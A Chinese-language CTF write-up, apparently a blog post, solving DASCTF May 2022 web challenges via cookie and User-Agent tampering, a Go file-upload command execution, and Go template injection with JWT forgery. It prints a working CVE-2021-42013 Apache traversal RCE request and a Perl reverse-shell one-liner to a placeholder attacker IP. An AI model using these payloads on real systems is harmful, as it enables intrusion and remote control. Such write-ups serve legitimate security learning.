2022DASCTF MAY 出题人挑战赛 web复现

自闭了,抱着团队人的大腿就差最后一道cms的题就AK所有web了,但是中途给他们弹一个题目的shell过程中把我题目的弹过去最后串交了个flag,两个队的成绩全被清零了,555。

Power Cookie

点击按钮抓个包看看数据

Set-Cookie默认为admin=0,我们自己设置一个admin=1cookie值即可。

简简单单。

魔法浏览器

看看源代码,

有一串utf-8的编码,把它放入python中执行以下即可(python默认utf-8编码)

str1="\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30 \x28\x57\x69\x6e\x64\x6f\x77\x73 \x4e\x54 \x31\x30\x2e\x30\x3b \x57\x69\x6e\x36\x34\x3b \x78\x36\x34\x29 \x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36 \x28\x4b\x48\x54\x4d\x4c\x2c \x6c\x69\x6b\x65 \x47\x65\x63\x6b\x6f\x29 \x4d\x61\x67\x69\x63\x2f\x31\x30\x30\x2e\x30\x2e\x34\x38\x39\x36\x2e\x37\x35"
print(str1)

这串字符就是用来伪装User-Agent的浏览器,抓个包修改一下数据

 也是简简单单。

getme

看看源码

给了个网站当前路径即网站根目录,除了知道它是apache环境以外没有什么思路,所以扫一下这个网站。

index.html就默认网站的页面没什么用,看到一个有意思的玩意儿,/cgi-bin/test-cgi,虽然是500状态无法访问,但是也可以从这里找一个突破口,经过在网上大量的搜索以及和队友的交流,最后得知这是一道CVE-2021-42013的原题,找到原exp拿到打入即可,至于是什么原理,大火可以自行百度。

GET :

/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

POST:

echo Content-Type: text/plain; echo;ls /

可以用如下命令进行shell弹取

perl -e 'use Socket;$i="you_ip";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

也可以直接进行flag的查找,当然表面的这个flag是假的,真正的flag需要自己去找,一开始有点懵,还以为flag在网站根目录,甚至想过是不是suid提权,结果提出来就一个su可以用,也就放弃了,最后发现

这似乎不是根目录下默认的文件所以我一层一层的剥下去

好家伙,套了四层,最后也是顺利读到flag,脑子瓦特了flag就在眼前找flag还会卡。

当时我和团队的人也是在这里串交flag了,寄。

hackme

 还是一样,正常界面

 

有八个可以点击的,我们一个一个的点击查看有没有什么敏感信息。

processes

 点击进入看到:

 一个简单的进程信息,没什么收获,看看下一个

log

点击进入看到:

 还是没有什么收获,有一种奇怪的感觉,但是说不出,继续看下面。

whoami

点击进入看到:

 一样的,继续往下看

whereami

看到这里,那种感觉快到瓶颈了,说不出来,所以说有没有一种可能每一个链接中有一个文件,而每一个对应的文件中执行了一条命令。像上面的whoami、pwd等等。如果不确定再继续看下去。

 uptime

基本可以确定是这样的了,flag点都不用点就知道是个假的,最后看一个关键的信息,那就是users

 这个提示非常的关键,doesn't seem to be users.go???即users.go文件找不到,也就是那些链接都是点击后在文件名后加.go后缀。那么有意思了,我们上面执行命令的那些文件说不定就都是go语言写的。最后还有一个提示,

Upload  .go,即我们需要上传一个go文件,这一下思路清晰了,我们需要上传一个users.go的脚本,当我们点击users会自动读取道go文件解析并执行,很不幸我并不会go语言,所以脚本是从我队友那拿的(他也是网上找的哈哈哈); 脚本如下

package main

import (
	"fmt"
	"os/exec"
)

func main() {
    Command("ls /")
}

func Command(cmd string) error {
	c := exec.Command("bash", "-c", cmd)
	output, err := c.CombinedOutput()
	fmt.Println(string(output))
	return err
}

命令执行,用ls 查看根目录下的文件夹以及文件,把该内容写入一个user.go的文件中,再通过文件上传将其上传上去,最后再点击一下users,即可得到命令执行过后的数据

 最后发现flag,用cat /flag 代替上面语句中的ls /即可查找到flag。所以这个题看似其实不完全考到go即使不是很懂go语言,主要能在百度找到一个脚本就可以解决。


fxxkgo

和上一题鸡肋的go相比比较,这一题才是真真正正的考到了go语言,考到了go的代码审计,go中存在的ssti,go中的JWT伪造。这种题目其实我本来是做不出来,但是最后还是做出来了,原因是这个题是原题([LineCTF2022]gotm),被抄下来的原题除了JWT伪造的密匙不同以及原题是GET请求,这个题目用的是POST请求以外,便没有什么不同的了。

题目给了源码

package main

import (
	"encoding/json"
	"fmt"
	"github.com/gin-gonic/gin"
	"github.com/golang-jwt/jwt"
	"os"
	"text/template"
)

type Account struct {
	id         string
	pw         string
	is_admin   bool
	secret_key string
}

type AccountClaims struct {
	Id       string `json:"id"`
	Is_admin bool   `json:"is_admin"`
	jwt.StandardClaims
}

type Resp struct {
	Status bool   `json:"status"`
	Msg    string `json:"msg"`
}

type TokenResp struct {
	Status bool   `json:"status"`
	Token  string `json:"token"`
}

var acc []Account
var secret_key = os.Getenv("KEY")
var flag = os.Getenv("FLAG")
var admin_id = os.Getenv("ADMIN_ID")
var admin_pw = os.Getenv("ADMIN_PW")

func get_account(uid string) Account {
	for i := range acc {
		if acc[i].id == uid {
			return acc[i]
		}
	}
	return Account{}
}
func clear_account() {
	acc = acc[:1]
}

func jwt_encode(id string, is_admin bool) (string, error) {
	claims := AccountClaims{
		id, is_admin, jwt.StandardClaims{},
	}
	token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
	return token.SignedString([]byte(secret_key))
}

func jwt_decode(s string) (string, bool) {
	token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {
		return []byte(secret_key), nil
	})
	if err != nil {
		fmt.Println(err)
		return "", false
	}
	if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {
		return claims.Id, claims.Is_admin
	}
	return "", false
}


func rootHandler(c *gin.Context) {
	token := c.GetHeader("X-Token")
	if token != "" {
		id, _ := jwt_decode(token)
		acc := get_account(id)
		tpl, err := template.New("").Parse("Logged in as " + acc.id)
		if err != nil {
		}
		tpl.Execute(c.Writer, &acc)
		return
	} else {

		return
	}
}

func flagHandler(c *gin.Context) {
	token := c.GetHeader("X-Token")
	if token != "" {
		id, is_admin := jwt_decode(token)
		if is_admin == true {
			p := Resp{true, "Hi " + id + ", flag is " + flag}
			res, err := json.Marshal(p)
			if err != nil {
			}
			c.JSON(200, string(res))
			return
		} else {
			c.JSON(403, gin.H{
				"code": 403,
				"status": "error",
			})
			return
		}
	}
}

func authHandler(c *gin.Context) {
	uid := c.PostForm("id")
	upw := c.PostForm("pw")
	if uid == "" || upw == "" {
		return
	}
	if len(acc) > 1024 {
		clear_account()
	}
	user_acc := get_account(uid)
	if user_acc.id != "" && user_acc.pw == upw {
		token, err := jwt_encode(user_acc.id, user_acc.is_admin)
		if err != nil {
			return
		}
		p := TokenResp{true, token}
		res, err := json.Marshal(p)
		if err != nil {
		}
		c.JSON(200, string(res))
		return
	}
	c.JSON(403, gin.H{
		"code": 403,
		"status": "error",
	})
	return
}


func Resist(c *gin.Context){
	uid := c.PostForm("id")
	upw := c.PostForm("pw")
	if uid == "" || upw == "" {
		return
	}
	if get_account(uid).id != "" {
		c.JSON(403, gin.H{
			"code": 403,
			"status": "error",
		})
		return
	}
	if len(acc) > 4 {
		clear_account()
	}
	new_acc := Account{uid, upw, false, secret_key}
	acc = append(acc, new_acc)

	p := Resp{true, ""}
	res, err := json.Marshal(p)
	if err != nil {
	}
	c.JSON(200, string(res))
	return
}
func index(c *gin.Context) {
	c.JSON(200,gin.H{
		"msg": "Hello World",
	})
}

func main()  {
	admin := Account{admin_id, admin_pw, true, secret_key}
	acc = append(acc, admin)
	r := gin.Default()
	r.GET("/",index)
	r.POST("/", rootHandler)
	r.POST("/flag", flagHandler)
	r.POST("/auth", authHandler)
	r.POST("/register", Resist)
	r.Run(":80")

}

根据主函数我们可以得知它有5个路由

func main()  {
	admin := Account{admin_id, admin_pw, true, secret_key}
	acc = append(acc, admin)
	r := gin.Default()
	r.GET("/",index)
	r.POST("/", rootHandler)
	r.POST("/flag", flagHandler)
	r.POST("/auth", authHandler)
	r.POST("/register", Resist)
	r.Run(":80")

}

根目录的GET请求和POST请求进入的路由不相同,实现的功能也不同。这个题目其实就是按照路由走一遍然后就可以得到flag了,具体怎么走,看的懂go语言的兄弟可以思考一下,看不懂的我直接讲了,首先我们先去分析五个路由对应的函数实现了什么功能

//GET请求根目录的实现
func index(c *gin.Context) {
	c.JSON(200,gin.H{
		"msg": "Hello World",
	})
}
//根目录POST请求实现功能
func rootHandler(c *gin.Context) {
	token := c.GetHeader("X-Token")
	if token != "" {
		id, _ := jwt_decode(token)
		acc := get_account(id)
		tpl, err := template.New("").Parse("Logged in as " + acc.id) //这个点存在ssti漏洞
		if err != nil {
		}
		tpl.Execute(c.Writer, &acc)
		return
	} else {

		return
	}
}
//根目录下的flag POST请求实现的功能
func flagHandler(c *gin.Context) {
	token := c.GetHeader("X-Token")
	if token != "" {
		id, is_admin := jwt_decode(token)
		if is_admin == true {
			p := Resp{true, "Hi " + id + ", flag is " + flag}
			res, err := json.Marshal(p)
			if err != nil {
			}
			c.JSON(200, string(res))
			return
		} else {
			c.JSON(403, gin.H{
				"code": 403,
				"status": "error",
			})
			return
		}
	}
}
//根目录下auth POST请求实现的功能
func authHandler(c *gin.Context) {
	uid := c.PostForm("id")
	upw := c.PostForm("pw")
	if uid == "" || upw == "" {
		return
	}
	if len(acc) > 1024 {
		clear_account()
	}
	user_acc := get_account(uid)
	if user_acc.id != "" && user_acc.pw == upw {
		token, err := jwt_encode(user_acc.id, user_acc.is_admin)
		if err != nil {
			return
		}
		p := TokenResp{true, token}
		res, err := json.Marshal(p)
		if err != nil {
		}
		c.JSON(200, string(res))
		return
	}
	c.JSON(403, gin.H{
		"code": 403,
		"status": "error",
	})
	return
}
//根目录下register POST请求实现的功能
func Resist(c *gin.Context){
	uid := c.PostForm("id")
	upw := c.PostForm("pw")
	if uid == "" || upw == "" {
		return
	}
	if get_account(uid).id != "" {
		c.JSON(403, gin.H{
			"code": 403,
			"status": "error",
		})
		return
	}
	if len(acc) > 4 {
		clear_account()
	}
	new_acc := Account{uid, upw, false, secret_key}
	acc = append(acc, new_acc)

	p := Resp{true, ""}
	res, err := json.Marshal(p)
	if err != nil {
	}
	c.JSON(200, string(res))
	return
}

根据分析register是用来创建用户idpw的,存入开始便已经定义好的结构体中

type Account struct {
	id         string
	pw         string
	is_admin   bool
	secret_key string
}

auth可以获得用户tokenJWT的返回值,所以如果我们能获得JWT的返回值我们想要伪造一个JWT就还需要知道它的密匙,这个密匙怎么获得呢?这就要利用到go中的ssti的漏洞,我当然对这方面的原理不是很清楚,就分享一下解题方法。

第一步先用register,注册一个账号密码

第二步用auth查看路由 

 获得了一个JWT,所以现在需要一个点去搞到密匙,把JWT换上看一下根目录

这就是账号,所以我们可以利用账号进行ssti注入,看别的师傅说正常出牌应该是{{.secret_key}},但是函数root_handler中得到的acc是数组中的地址,也就是get_account函数通过在全局变量acc数组中查找我们的用户,这种情况下直接注入{{.secret_key}}会返回空,所以我们利用{{.}}即查看所有内容,最后可以查到密匙。

步骤和上面一样,不过我们需要在register下注册的账号为{{.}}

一样的访问一下auth获得token,再打入其中POST访问根目录

爆出JWT来了,接下来就是JWT的身份伪造 

讲伪造的JWT打入网站,最后再访问一下flag

得到flag了,比较艰辛,但是对go语言更加的了解了。

参考:[LineCTF2022]gotm ( golang SSTI + JWT伪造 )_shu天的博客-CSDN博客

https://github.com/asaotomo/CVE-2021-42013-Apache-RCE-Poc-Exp

  • 4
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

errorr0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值